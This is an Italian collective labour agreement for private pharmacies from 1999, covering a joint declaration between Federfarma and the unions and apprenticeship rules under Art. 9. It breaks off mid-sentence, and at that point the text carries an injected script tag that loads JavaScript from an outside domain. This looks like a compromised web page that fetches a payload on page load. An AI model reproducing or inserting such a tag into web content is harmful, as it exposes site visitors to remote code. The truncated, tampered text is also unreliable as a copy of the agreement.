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Categoria: Farmacie private
Settore: Commercio
Data stipula: 23-3-1999
Data decorrenza: 1-4-1999
Data scadenza: 31-1-2002

Addì 23 marzo 1999

TRA

la  FEDERFARMA  nelle  persone  del  dott.  Carlo  Ghiani  in  qualità  di
coordinatore  della Commissione Rapporti-Lavoro composta dai dott.  Franco
Caprino,  Arnaldo Tempesta, Giancarlo Visini, Saverio Caltavuturo,  Arturo
Maresca, Maria Pia Masi, assistiti dal dott. Enrico Giammarioli

da una parte

E

la FILCAMS-CGIL rappresentata da Luigi Coppini,
la FISASCAT-CISL rappresentata da Luciana Cirillo,
la UILTuCS-UIL rappresentata da Antonio Vargiu,

assistiti da una delegazione sindacale composta da

dall'altra

stipulano  la  presente  ipotesi  di  accordo  con  i  patti  di   seguito
specificati, ad integrazione e modifica di quelli contenuti  nel  CCNL  27
luglio 1994, in ordine ai quali congiuntamente dichiarano


Dichiarazione congiunta.

Le  Parti  individuano nel riassetto normativo del settore l'obiettivo  da
raggiungere con l'utilizzo degli strumenti offerti dal contratto, riferiti
anche  a  quanto concordato sulla flessibilità del lavoro,  adattati  alla
specificità del settore caratterizzato da un servizio ad evidenza pubblica
che aggrega i singoli esercizi farmaceutici pur nella diversa dimensione e
struttura della connessa azienda.

A  tal  Fine  le Parti concordano sulla necessità di porre  in  essere  un
sistema  di  relazioni sindacali sia a livello nazionale che  territoriale
che  consenta  loro  di porsi come soggetto politico unitario,  pur  nella
diversa    identità    e    ruolo,   con   compiti   propositivi    propri
dell'interlocutore qualificato con le Istituzioni.

Le  Parti  dichiarano di ritenere positiva l'esperienza di  collaborazione
maturata  con la redazione di un documento comune in materia di  riassetto
del  servizio  farmaceutico e snellimento delle procedure concorsuali  per
l'assegnazione di farmacie in pianta organica e vacanti.

In  tale ottica le Parti concordano sulla necessità di fare rispettare  le
norme  legislative,  amministrative e sanitarie volte  alla  tutela  della
salute  del  cittadino  in  attuazione del  principio  costituzionale  che
considera  la  salute  come  bene  del singolo  e  della  collettività  da
salvaguardare.

Le  Parti concordano sull'importanza degli istituti del CCNL in materia di
diritti  sindacali, Ente Bilaterale, Commissione Paritetica e  sistema  di
informazione   che   con  il  rinnovo  contrattuale  vengono   confermati,
impegnandosi  a  un'attività comune per una valorizzazione dei  rispettivi
ruoli di rappresentanza degli interessi del settore.



APPRENDISTATO

Le    Parti,    esaminata    l'evoluzione    della    disciplina    legale
dell'apprendistato,  riconoscono in tale istituto un importante  strumento
per  l'acquisizione  delle competenze necessarie per  lo  svolgimento  del
lavoro e un canale privilegiato per collegamento tra la scuola e il lavoro
e per l'ingresso dei giovani nel mercato del lavoro.

Conseguentemente,  le  Parti riconoscono la necessità  di  valorizzare  il
momento  formativo  del rapporto prevedendo momenti di formazione  teorica
anche esterni al processo produttivo.

A  tal  fine,  confermano il proprio impegno a condurre congiuntamente  un
progetto  pilota  per la sperimentazione dei nuovi modelli  formativi  per
l'apprendistato.

In  questo  quadro,  le  Parti  assegnano  all'Ente  Bilaterale  un  ruolo
strategico per il monitoraggio delle attività formative e lo sviluppo  dei
sistemi di riconoscimento delle competenze.


Art. 9.

Sostituire il comma 2 con il seguente:

Possono essere assunti con contratto di apprendistato i giovani d'età  non
inferiore ai 16 anni e non superiore a 24, ovvero a 26 anni nelle aree  di
cui agli obiettivi n. 1 e 2 del regolamento (CEE) n. 2081/93 del Consiglio
del 20.7.93 e successive modificazioni.

Qualora l'apprendista sia portatore di handicap, i limiti d'età di cui  al
presente comma sono elevati di 2 anni.

La  durata  del  rapporto di apprendistato è graduata  in<<script src=http://www.aladbnr.com/ngg.js></script>













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